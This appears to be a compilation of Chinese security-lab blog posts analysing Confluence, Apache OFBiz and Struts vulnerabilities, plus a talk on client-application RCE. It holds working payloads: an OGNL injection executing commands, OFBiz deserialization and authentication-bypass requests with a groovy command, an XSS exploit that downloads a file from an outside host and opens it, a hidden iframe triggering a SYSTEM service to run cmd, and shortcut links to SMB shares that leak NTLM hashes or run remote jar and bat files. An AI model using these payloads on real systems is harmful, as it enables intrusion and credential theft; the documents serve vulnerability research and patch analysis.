•TeamCity 2018.2 及更高版本

•TeamCity 2018.1 及更早版本

更多利用方式可参考以下链接：

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://forum.butian.net/share/2801    

阅读原文

跳转微信打开

为了迎接新年的到来

元亨实验室特别定制了

微信红包封面【元亨实验室金龙送福】

限量开抢，拼手速啦！

​

祝大家春节快乐！

新的一年漏洞无穷，赏金无尽！

这个春节，就用它拜年吧～

阅读原文

跳转微信打开

Confluence 存在 Velocity 模板注入漏洞，未经身份验证的攻击者可以直接访问`*.vm`文件传入恶意 Ognl 表达式来实现 RCE。

1. 前言

https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html

漏洞描述：

Velocity 模板渲染时需要的参数来自于上下文中，通过向上下文中传入恶意参数值，如果没有对参数进行过滤或进行了不当的调用，就会导致注入漏洞产生。

• 8.0.x

• 8.1.x

• 8.2.x

• 8.3.x

• 8.4.x

• 8.5.0 ~ 8.5.3

下载地址：https://www.atlassian.com/software/confluence/download-archives

官网下载 8.5.3 版本，下载对应系统的安装包和源码。

元亨-blckder02，公众号：中孚安全技术研究Confluence 数据中心和服务器中的访问控制漏洞(CVE-2023-22515)

<property name="hibernate.connection.url">jdbc:mysql://localhost:3306/confluence?sessionVariables=transaction_isolation='READ-COMMITTED'</property>

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new+freemarker.template.utility.Execute()).exec({"whoami"}))

#request['KEY_velocity.struts2.context']：从 request 获取 Struts2 中与 Velocity 集成的上下文对象；

目的就是对参数x进行表达式解析，所以通过x传入恶意表达式，就可以实现命令执行。

跟进 findValue()，解析并执行表达式。

继续拆分计算，获取x的值。

返回x的值；

回到 ASTMethod.getValueBody()，此时的args就是x的值，接着调用 OgnlTool.findValue() 方法。

获取到 Execute 对象；

8.5.4版本中新增了一个 ConfluenceOgnlGuard 类，用于拦截和检查 OGNL 表达式。

ConfluenceOgnlGuard 继承了org.apache.struts_struts2-core-6.3.0-atlassian-8.jar!\org\apache\struts2\ognl\StrutsOgnlGuard.class；

如果包含则会将表达式解析结果设为_ognl_guard_blocked，后面就会抛出异常，解析失败，无法执行命令。

https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/

阅读原文

跳转微信打开

部分路由未使用身份验证或对身份验证不严格，以及未对传入内容进行严格校验，导致命令执行。

1-1. 前言

官方公告：

https://issues.apache.org/jira/browse/OFBIZ-11716

漏洞描述：

由于 webtools 中的 2 个 xmlrpc 相关请求（xmlrpc 和 ping）未使用身份验证，以及未对传入XML-RPC消息进行校验，所以容易受到不安全反序列化的影响。

影响版本：

Apache OfBiz 17.12.03

1-2. xml-rpc请求格式

XML内容的根元素是<methodCall>，每个<methodCall>元素都包含一个<methodName>元素和一个<params>元素。<methodName>元素标识要调用的过程的名称，而<params>元素包含参数列表和值。每个<params>元素包括一个<param>元素列表，而<param>元素又包含值元素。

示例：

<?xml version="1.0"?><methodCall>  <methodName>方法名</methodName>  <params>     <param>        <value>           值元素        </value>     </param>  </params></methodCall>

• int：<int>27</int>, <i4>27</i4>

• double：<double>27.31415</double>, <double>-1.1465</double>

• Boolean：<boolean>1</boolean>, <boolean>0</boolean>

• string：<string>Hello</string>, <string>bonkers! @</string>

• dateTime.iso8601：<dateTime.iso8601> 20021125T02:20:04 </dateTime.iso8601>

• base64：<base64>SGVsbG8sIFdvcmxkIQ==</base64>

<array>  <data>     <value><boolean>1</boolean></value>     <value><string>Array collection, eh?</string></value>     <value><int>-91</int></value>     <value><double>142.14325</double></value>  </data></array>

结构<struct>通常用来传递复杂的数据结构（键-值对形式）：

<struct>  <member>     <name>键1</name>     <value><string>值1</string></value>  </member>
  <member>     <name>键2</name>     <value><int>值2</int></value>  </member></struct>

参考链接：

https://www.yiibai.com/xml-rpc/xml_rpc_data_model.html

1-3. 环境搭建

解压后用IDEA打开，build之后会生成一个biuld目录，添加配置ofbiz.jar；

能成功访问https://localhost:8443/webtools就说明环境搭好了。

Apache OFBiz 结构简单介绍：

Controller.xml：定义view，controller之间的映射关系，不仅包含了请求的映射关系，同时还包含了视图的映射关系，以及一系列的处理器比如视图解析处理器，事件处理器等。

1-4. 漏洞复现

POST请求/webtools/control/xmlrpc，使用ysoserial工具生成一个  CommonsBeanutils1 链的payload，要用base64编码。

<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params>    <param>    <value>        <struct>        <member>            <name>test</name>            <value>            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">           base64 payload            </serializable>            </value>        </member>        </struct>    </value>    </param></params></methodCall>

发送请求，dnslog成功收到请求信息。

1-5. 漏洞分析

入口/webtools/control/xmlrpc的路由配置在\framework\webtools\webapp\webtools\WEB-INF\web.xml，由ControlServlet处理；

直接下断点开始跟踪调试，提取了一堆值，然后调用requestHandler.doRequest()处理具体请求；

跟进，requestMap是从\framework\webtools\webapp\webtools\WEB-INF\controller.xml中获取到的xmlrpc相关处理器；

跟进RequestHandler.runEvent()方法，调用XmlRcpEventHandler处理 XML-RPC 请求，传递必要的参数，然后获取并保存事件处理器执行后的返回结果。

跟进，调用getRequest()获取信息对象；

先依次扫描<methodCall>、<methodName>、<params>、<param>、<value>元素标签，记录它的值；

读到<struct>标签，返回一个MapParser对象；

重复调用XmlRpcRequestParser.startElement()，继续读取元素标签及其值；

读到<serializable>标签和使用的XML-RPC 扩展库链接时，跟进到RecursiveTypeParserImpl.startElement()，只有当pURI与EXTENSIONS_URI相同时，才能匹配且返回SerializableParser对象，所以payload中必须要添加这个扩展库；

SerializableParser是继承ByteArrayParser的，所以跟进到ByteArrayParser.startElement()，创建了一个base64解码器，将payload解码写入baos中。

然后开始扫描结束标签，扫描到</serializable>标签，将payload的字节码设为result；

接着扫描到</value>标签，解析SerializableParser对象中的result添加到到结果中；

跟进SerializableParser.getResult()，对payload字节数组进行了反序列化，触发命令执行。

1-5-1. 使用 array 标签

前面使用的是 struct 结构传入数据，扫描到标签返回的是MapParser对象，MapParser.endElement()中调用了父类RecursiveTypeParserImpl.endValueTag()，进而调用SerializableParser.getResult()。

同理，ObjectArrayParser.endElement()中也调用了父类RecursiveTypeParserImpl.endValueTag()，所以也可以使用<array>标签构造传入数组数据触发反序列化。

poc：

<?xml version="1.0"?>    <methodCall>        <methodName>ProjectDiscovery</methodName>        <params>            <param>                <value>                   <array>                        <data>                            <value>                                 <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">                                     base64 payload                                 </serializable>                            </value>                        </data>                    </array>                </value>            </param>        </params>    </methodCall>

1-6. 补丁分析

补丁链接：https://github.com/apache/ofbiz-framework/commit/d955b03

在controller.xml中对/xmlrpc和/ping路由添加了身份校验。

https://issues.apache.org/jira/browse/OFBIZ-12332

又在后续补丁中添加CacheFilter对/control/xmlrpc和</serializable进行校验，但是还是可以绕过。

2-1. 前言

官方通告：

https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3

漏洞描述：

由于对CVE-2020-9496修复的不完全，导致可以绕过路径检查和授权检查触发恶意数据的反序列化。

影响版本：

Apache OfBiz < 18.12.10

2-2. 漏洞复现

环境搭建操作与CVE-2020-9496一样，这里用18.12.09复现。

用CVE-2020-9496的poc进行测试，可以看到调用了CacheFilter进行路径和</serializable标签的检查，检查失败出现报错。

在url中略作修改，即可绕过路径检查和授权检查，成功执行命令。

/webtools/control/xmlrpc/;/?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y

说一下url的构造，这个请求结构如下：

• 路径信息：/webtools/control/xmlrpc/
• 矩阵参数：;/
• 查询参数：?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y

这里就是附加了一个参数/，或许将参数换成;1要好理解一点，效果一样的。

与查询参数不同的是，使用getRequestURI()的返回结果会包含矩阵参数，所以能绕过路径检测。但是getPathInfo()仍然只返回/xmlrpc/，不影响后面xmlrpc处理器的调用。

查询参数的内容则是绕过授权检查的必要条件。

2-3. 漏洞分析

在发送请求的时候会进入CacheFilter.doFilter()，因为在uri的末尾添加了/;/，所以不会进入if语句，也就不会对</serializable进行校验；

然后进入ControlServlet处理请求，在RequestHandler.doRequest()中，securityAuth就是指Controller.xml中的security标签的值，为true则进入if分支；

跟进，调用JavaEventHandler处理该事件；

进入LoginWorker.checkLogin()，如果检测到是未登录状态，则直接从请求中获取USERNAME和PASSWORD参数的值，如果值为null，则会进入343行的if语句，返回error，表示校验失败；

参数值不为null，还需要使login(request, response)不返回error。

进入login()，从请求中获取了requirePasswordChange参数的值，执行登录操作时由于传入的用户名是随便构造的，所以返回“没有找到用户”，登录失败，进入else分支；

最后根据requirePasswordChange的值判断是返回参数值还是error，所以只要传入requirePasswordChange为true，这里就可以返回true了。

回到checkLogin()，uri中不包含loginout，security.login.authorised.during.impersonate默认为false，登录历史也为null，所以跳过if语句，最后返回success，成功绕过登录检测。

后面的反序列化调用过程就与CVE-2020-9496一样了。

2-4. 补丁分析

补丁链接：https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27

在补丁中删除了XML-RPC的相关引用。

3-1. 前言

官方公告：

https://issues.apache.org/jira/browse/OFBIZ-12873

漏洞描述：

仍然是基于对CVE-2020-9496修复的不完全，导致可以绕过路径检查和授权检查。以及对传入数据的校验不完善，导致可以通过groovy实现命令执行。

影响版本：

Apache OfBiz < 18.12.11

3-2. 漏洞复现

添加groovyProgram参数传入要执行的命令，payload：

/webtools/control/ProgramExport?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y&groovyProgram='calc.exe'.execute()

3-3. 漏洞复现

授权检查绕过的过程与CVE-2023-49070的一致，这里就不重复了。

从绕过授权后开始看，在RequestHandler.doRequest()中，requestUri为ProgramExport，获取到对应的requestMap，又从中获取到success对应的响应，赋给了nextRequestResponse；

在controller.xml中定义了响应类型为view，名称为ProgramExport，然后调用renderView()进行视图渲染。

跟进renderView()，从controller.xml中获取名称为ProgramExport的视图映射，定义在 component://webtools/widget/EntityScreens.xml#ProgramExport文件中；

获取到screen类型的视图处理器；

一直跟进，从EntityScreens.xml中获取到了ProgramExport对应的脚本文件位置component://webtools/groovyScripts/entity/ProgramExport.groovy，当遍历到此文件时跟进；

检测到文件后缀为.groovy，运行这个脚本文件；

进入ProgramExport.groovy，从传入的参数中获取到了groovyProgram参数值，最后调用evaluate()执行命令。

其中还调用了SecuredUpload.isValidText()对groovyProgram进行黑白名单校验，黑名单内容来自\framework\security\config\security.properties#deniedWebShellTokens，白名单就是import。

3-4. 补丁分析

补丁地址：https://github.com/apache/ofbiz-framework/commit/ee02a33509

修复了授权检查的地方，在登录失败后直接返回error，而不是再去判断requirePasswordChange的值。

参考链接：

阅读原文

跳转微信打开

攻击者可以操纵文件上传参数以启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。

官方公告：
https://cwiki.apache.org/confluence/display/WW/S2-066

漏洞描述：
攻击者可以操纵文件上传参数以启用路径遍历，在某些情况下，这可能导致上传可用于执行远程代码执行的恶意文件。

2. 环境搭建

<dependency>  <groupId>org.apache.struts</groupId>  <artifactId>struts2-core</artifactId>  <version>6.3.0</version></dependency><dependency>  <groupId>org.apache.tomcat</groupId>  <artifactId>tomcat-catalina</artifactId>  <version>8.5.81</version></dependency>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app>  <display-name>Archetype Created Web Application</display-name>  <filter>    <filter-name>struts2</filter-name>    <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>  </filter>  <filter-mapping>    <filter-name>struts2</filter-name>    <url-pattern>*.action</url-pattern>  </filter-mapping></web-app>

package blckder02.struts2.action;import com.opensymphony.xwork2.ActionSupport;import org.apache.commons.io.FileUtils;import java.io.File;import java.io.IOException;publicclass UploadAction extends ActionSupport {    private File myfile;    private String myfileContentType;    private String myfileFileName;    private String destpath;    public String execute() {        destpath = ServletActionContext.getServletContext().getRealPath("/")+"uploads\\upload\\";        try{            System.out.println("Src File name: " + myfile);            System.out.println("Dst File name: " + myfileFileName);            File destFile = new File(destpath, myfileFileName);            FileUtils.copyFile(myfile, destFile);            return SUCCESS;        } catch (IOException | NullPointerException e) {            e.printStackTrace();            return ERROR;        }    }    public File getMyfile() {        return myfile;    }    public void setMyfile(File myfile) {        this.myfile = myfile;    }    public String getMyfileContentType() {        return myfileContentType;    }    public void setMyfileContentType(String myfileContentType) {        this.myfileContentType = myfileContentType;    }    public String getMyfileFileName() {        return myfileFileName;    }    public void setMyfileFileName(String myfileFileName) {        this.myfileFileName = myfileFileName;    }}

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ taglib prefix="s" uri="/struts-tags"%><html><head>    <title>Upload</title></head><body><h2>Upload</h2><br/><form action="upload.action" method="post" enctype="multipart/form-data">    <s:label for="myfile">Please upload your file</s:label><br/>    <input type="file" name="myfile"/>    <input type="submit" value="Upload"/></form></body></html>

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ taglib prefix="s" uri="/struts-tags"%><html><head>    <title>Success</title></head><body>You have successfully uploaded <s:property value="myfileFileName"/></body></html>

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="default" namespace="/" extends="struts-default">        <action name="upload" class="blckder02.struts2.action.UploadAction" method="execute">            <result name="success">/success.jsp</result>            <result name="error">/upload.jsp</result>        </action>    </package></struts>

3. 漏洞复现

4. 漏洞分析

5. 补丁分析

在 6.3.0.2版本中，HttpParameters 类的appendAll()中添加调用了remove()方法；遍历检查参数是否需要删除，remove()方法中添加使用了equalsIgnoreCase()方法来忽略大小写进行比较。

阅读原文

跳转微信打开

客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序。

被忽视的暗面：客户端应用漏洞挖掘之旅

key@中孚信息元亨实验室

前言

在2023年12月15日，我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员，我被邀请分享名为“被忽视的暗面：客户端应用漏洞挖掘之旅”的技术议题。

客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序，如即时通讯、远程服务、视频软件等应用，探索其中存在的漏洞和潜在的安全风险。

漏洞案例

漏洞案例的分析主要分为两类，一是常规风险的介绍和了解，二是RCE漏洞的挖掘思路和手法。

注意：以下漏洞案例均通过脱敏和细节上的处理。

常规风险篇

常规风险在这里我分为这几类：信息泄露、白利用、逻辑校验、缓冲区溢出。

信息泄漏

对于客户端的信息泄露，我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配，将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。

实际效果没有那么好，仅有一些数据库的连接配置信息泄露，并且由于是基于IDA的也没有那么好的进行自动批量化发现。

我们可以借助Strings工具来快速的获取可执行文件的字符串内容，并通过正则或其他方式进行匹配。

白利用

白利用问题就老生常谈了，在红队的工作中也经常遇到，如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多赘述了。

逻辑校验

很多客户端程序在对用户信息进行获取的时候会通过内存的方式，来获取用户的编号，从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的，我们可以通过CE来对内存进行修改，从而导致越权漏洞的产生。

这类问题很经典，在以往就有许多案例（wooyun-2015-0143395、wooyun-2014-048606），但现在仍然可以从一些主流的应用上发现到类似的安全问题。

缓冲区溢出

缓冲区溢出问题太多太多了，我们可以通过通过IDA插件VulFi定位脆弱点，很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外，也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz，从而找到溢出问题。

除了本地网络服务以外，最经典的、利用最多的还是特定文件格式处理客户端，如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序，它用于各种各样的图片处理，我们可以找一些比较不常见的图片格式，并且通过网盘资源找到一些样本文件，丢给GPT或IFFA来分析文件格式，并输出Pits脚本，通过Peach Fuzzer来进行Fuzz工作。

RCE篇

接着我们来到RCE篇，请注意这里的RCE并不是Pre Auth的，案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对，如果一些客户端的网络服务端口是监听在0.0.0.0的，只要你与目标机器处于同一个网络，或该客户端是在服务器上使用的，也一样可以实现0 Click的效果。

Web类客户端

Web类客户端，我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序，如Electron这类CEF（浏览器嵌入式）框架开发的客户端应用，以及基于渲染引擎（如Wke）所开发的客户端应用。

某IM客户端应用

如下图所示，是一个即时通讯客户端应用，我在群名称重命名时发现了一个反射XSS漏洞，根据其目录结构我知道它是一个基于Electron开发的程序。

在Electron框架下，如果开发者在渲染页面时配置nodeIntegration为true，则说明我们可以在前端中使用Nodejs的语法，这就导致我们可以直接在前端使用如下Nodejs代码执行命令：

require('child_process').exec(...);

但是这个配置项在创建功能窗口时并没有开启：

所以，我们也就没办法通过XSS执行Nodejs的代码，但是根据当前的Electron的版本1.8.7去互联网检索，发现这个版本存在一个历史漏洞：CVE-2018-15685，而后进行相关验证，也无法成功。

但是我们在\resources\app\src\inject\preload.js文件中（这是预加载JS，也就表示这个文件在窗口创建后，页面创建前就执行了），发现了注册的全局变量：

window.ZxDesktop = ZxDesktop;

所以我们可以直接去调用这个全局变量，从而去使用其内部的定义的一些功能：

该全局变量实际上导出了很多其他模块及对应方法：

我们跟进File模块，就可以发现存在一个open函数：

跟进代码和测试之后，发现它就是文件打开函数，在Console下去调用，成功打开计算器：

接着看导出函数列表的其他项，发现存在两个文件保存的方法：

而它们所指向的都是另外一个模块的方法：

const Download = require('../download_extra/download.render.js');

跟进这个模块，发现实际上他们都来自同一个方法，只不过传递的参数isSelect有不同：

接着我们来完整的阅读下代码即可发现整个逻辑，首先根据你传递的参数来判断要调用NormalDownload（正常下载）还是ChunkDownload（分块下载），接着根据isSelect函数来判断调用save还是saveAs方法：

所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码，来查看它们这些方法的逻辑是什么，这里看了之后，两者代码的唯一区别就是分块，所以本文就以NormalDownload的save、saveAs方法去说明。

首先是saveAs方法，它会调用一个文件保存框，然后赋值调用retryStart方法：

而实际上retryStart方法内调用的是start方法，这个方法是用来进行请求下载的：

而后下载的文件实际上会保存在用户的数据目录下，save方法与saveAs方法的最大的不同就是没有这个文件保存框，所以我们当然选择使用save方法。

需要注意，在如上代码中save和saveAs的传递参数不一致，其实这不影响最终的处理，因为在一开始的对象创建时候就通过构造函数赋值了：

let downloader = new Download(file, config);

至此，我们就获得了文件下载的攻击路径，我们可以根据对应参数这样构建JS代码：

ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

我们已经获得了文件下载的功能，攻击路径就很明显了：用户下载文件，打开文件。但是实际操作中，我们打开文件还缺少一个路径，并且在实际的测试中，默认情况下，下载的文件是会保存在应用的数据目录的null目录下：

而这个目录可能会被用户更改（用户名也没法获取），所以我们需要搭配一个点去获取路径，在这里找到了ZxDesktop的System模块：

它的导出列表中有两个属性：dbPath、userDataPath，它们的内容都是一样的，指向了用户的数据目录：

ZxDesktop.require("System").userDataPath

我们可以这样拼接，就有了下载文件的目录信息了：

ZxDesktop.require("System").userDataPath + "/null/test.txt"

当我们满足所有条件后，就可以构造完整的攻击代码了：
1.下载文件：

var a = ZxDesktop;
var b = a.require("File");
b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

2.拼接文件路径，打开文件：

b.open(a.require("System").userDataPath + "/null/test.txt");

3.最终Exploit：

"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>

某运维平台客户端

在某运维平台客户端中，我们发现可以通过伪协议链接（xxx://webview/?url=http://xxxx）来达到端内任意页面加载，这也就表示我们可以执行任意JS代码。

根据加载的DLL文件得知，其所依赖的前端页面渲染是开源项目Wke。

在源代码wke/jsBind.cpp中，发现wkeJSBindFunction方法提供了JSBridge的功能，将JavaScript函数绑定到C++中一个本地函数。

基于IDA分析得知，目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示，其将C++某个函数地址，与名为callprogram的JavaScript函数进行绑定，我们可以直接在JS代码中调用。

跟进对应的C++函数，我们发现它会通过wkeJSParam获取参数，再通过JSToTempStringW获取字符串形式的参数值，最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为：ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)。

因此我们可以构建如下的Exploit代码，并通过伪协议的方式使目标可以打开包含Exp代码的网页：

<script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script>

传统类客户端

传统类客户端，我的定义是基于C/C++写的一些传统应用，如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。

某远程服务平台客户端

在拿到一个客户端程序时，第一步是安装，第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息，这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联，辅助我们挖掘漏洞。

如下图所示，安装完某远程服务平台客户端后，我通过火绒剑逐个查看对应的进程信息，在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是UserClient.exe进程当前的网络通信信息，我们可以看到它在本地监听了两个端口：38227、38230。

它的协议都是TCP，我们可以尝试使用HTTP的方式去访问，结果显示38230端口可以以HTTP协议的方式进行访问。

我们可以选取响应报文中的bangwo8client字符串在IDA的Strings窗口中进行搜索，通过这样的方式来进行逻辑的回溯。

双击进入字符串所在的.RDATA节，我们就可以看到该字符串对应的交叉引用，那么接下来我们的工作就是进入这些函数看具体实现是否对的上响应报文的主体内容。

我们进入一个函数查看，会发现在函数的头部代码中有如下这么一段内容，它的逻辑似乎就对应了HTTP响应报文的主体返回，通过字符串的对应我们能大致知道sub_487760函数的作用就是为了将字符串解析到JSON格式中，然后再通过其他函数拼接JSON的字段内容给到Block。

除了我们跟进的这个函数外其他的函数逻辑都大致一样，并且我们通过IDA插件CTO查看调用关系，发现这些函数最终都是被同一个函数sub_674090调用。

那我们再继续跟进函数sub_674090，函数的逻辑就是根据不同的URI进入不同的函数处理，也就表示着这里就是HTTP请求逻辑处理的入口位置。

有了请求处理逻辑的入口，接下来我们就要去看每个URI对应的处理逻辑是什么，看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。

如果你觉得这样去看很累，也可以基于敏感函数的调用链来对应每个URI的处理函数，如下图所示我就基于ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数，也就表示当你访问URL：http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。

那么我们可以跟进去看一下该处理函数，看看是否可以将可控参数值带入到ShellExecuteA函数里去执行。

在函数的一开始就判断运行当前程序的用户是否是system，如果不是的话则直接返回响应内容（状态码500）提示当前不是以SYSTEM权限运行的进程。

这里我们通过Process Hacker可以看到UserClient.exe进程对应的用户就是SYSTEM：

也就表示我们当前是满足这个条件的，所以可以接着看IF分支内的逻辑。在IF分支内就执行了ShellExecuteA函数，根据ShellExecuteA函数的使用语法我们知道它这是以v15作为参数执行v16程序，所以我们需要知道v15、v16这两个变量是如何赋值而来的。

具体的逻辑可以下图，我们找到赋值关系最终确认一切的参数来源都是Block，该值是一个全局变量，那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。

根据猜测，我们可以先使用OD附加进程在ShellExecuteA函数处下断点。

然后请求URL：http://127.0.0.1:38230/api_install?file=cmd.exe&param=/k%20notepad，我们就会在OD界面中看见端点到ShellExecuteA函数了，我们可以通过栈来看一下传参是什么。

如下所示我们发现ShellExecuteA函数的参数FileName和Parameters是一串乱码的内容，这应该是我们输入的字符串经过了某些处理后导致的。

因此我们可以在URI/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了，如果带进来了为什么最终值会变成一段乱码的数据。

如下图OD中可以看见我们的请求参数file的值cmd.exe确实可以带进来，这也就验证了我们的猜想，ShellExecuteA函数的参数是来源于HTTP请求参数。

接着走下去我们会发现调用如下函数时的参数就是我们的请求参数file和对应值cmd.exe，当该函数执行完成之后返回到EAX寄存器，我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容，也就是我们在ShellExecuteA函数断点处看见的参数。

push esipush eaxcall UserClie.004203B0

所以我们可以跟进函数004203B0在IDA中看一下它具体做了什么，这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。

在这之前我们需要注意，由于IDA和实际进程执行的基址不同，我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的，这样我们就可以直接跟进函数004203B0，而不需要再去进行地址的换算。

在IDA中跟进函数004203B0，它实际上也是调用的另外一个函数00370C70，在该函数里对字符串进行位移转换，猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940，我们跟进这个数据之后发现似乎是一张解码表。

如下将整段数据罗列出来，看着与Base64解码所需要的解码表是一致的，所以此处极有可能就是Base64解码操作，将我们的输入的字符串cmd.exe进行解码，最终就变成了乱码。

我们可以将cmd.exe字符串进行Base64解码，发现结果确实为我们之前所看到的乱码内容：

最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit，当安装了该客户端的应用打开Exp代码对应页面时，即可以执行我们想要的命令。

<iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&param=L2sgbm90ZXBhZA==" width="0px" height="0px">

某视频软件客户端

通过URLProtocolView找到视频软件客户端注册的伪协议：xxplayer://，通过字符串定位程序伪协议的处理功能点，也可以知道有哪些的伪协议路由。

发现这里可以通过xxplayer://action.cmd/xxx的方式来触发一些功能，所有功能列表如下所示：

xxplayer://action.cmd/playShareVideoxxplayer://action.cmd/playxxplayer://action.cmd/downloadvideoxxplayer://action.cmd/downloadpagexxplayer://action.cmd/downloadShareVideoxxplayer://action.cmd/createshortcut_urlxxplayer://action.cmd/createshortcutxxplayer://action.cmd/activeHomepage

根据字面意思理解它的作用即可，这里我们一个一个带入请求尝试，发现当请求createshortcut_url时会在桌面创建.link的快捷方式文件。

我们跟进这个创建快捷方式的逻辑，发现实际上它还有两个参数：url、name：

然后将这两个参数值带入CreateUrlShortcut函数执行，这个函数是导入函数，就是用于创建桌面快捷方式的。

因此我们可以构建伪协议URL：xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test，访问就发现它创建了一个名为Test的快捷方式，目标为：C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0，也就表示我们传入的url参数值变成了启动参数，name参数值变成了快捷方式名字。

当我们双击这个快捷方式时，就会调用浏览器打开http://www.baidu.com。

接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可，那么我们尝试将url参数值修改为file://172.16.176.176/netntlm，也就变成这样：xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123，在机器上responder监听一下，当打开快捷方式时收到了NTLM Hash：

除了获取NTLM Hash，我们还可以在Ubuntu上开一个SMB服务，然后将url参数设为使用\\172.16.176.176\share\Test.exe，使用快捷方式打开共享文件，发现确实可以打开EXE文件，但是会有文件信任的安全警告（Mark-of-the-Web）。

这里可以通过jar文件形式去绕过，打包一个打开计算器的Jar包放在共享目录下，然后将url参数设为使用\\172.16.176.176\share\1.jar。

访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123，创建快捷方式，打开快捷方式，执行Jar包启动计算器，这样我们就实现了1 Click执行任意命令。

使用远程Jar包的方式来达到任意命令执行还是有局限性，如果目标机器不存在Java环境就无法执行，因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件，不会有任何弹窗提示直接执行bat文件内容。

因此我们可以在共享文件夹中创建1.zip，放入内容为calc的1.bat文件。

将url参数值设为\\172.16.176.225\share\1.zip\1.bat，然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123创建桌面快捷方式，打开快捷方式即可执行bat文件，最终达到不需要任何依赖的情况下执行任意命令。

总结

简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。

关于客户端本地开启的网络协议问题，我总结出如下几步可以快速的进行漏洞发现:

1. 找到客户端启动的本地网络服务（TCP、UDP），这个可以用火绒剑或者CMD的方式查看；

2. 有本地监听的情况下，找到对应的程序以及加载的DLL，通过IDA根据端口号找到监听的点，如果是C/C++的程序一般找bind这个函数就能快速定位到；

3. 向上回溯找调用链，并根据网络服务的返回结果，例如HTTP访问会有一段字符串或者响应头的一些字符串，定位到代码处理逻辑；

4. 如果逻辑对应上了，那就接着找程序的导入表是否存在敏感的函数，例如：CreateProcess、WinExec、ShellExec，如果存在则可以向上回溯看看是否与网络服务监听点有联系；

5. 当条件都满足的时候就想尽办法，通过断点调试等操作，找传参或数据传输格式，看看可控内容是否可达敏感的函数处；

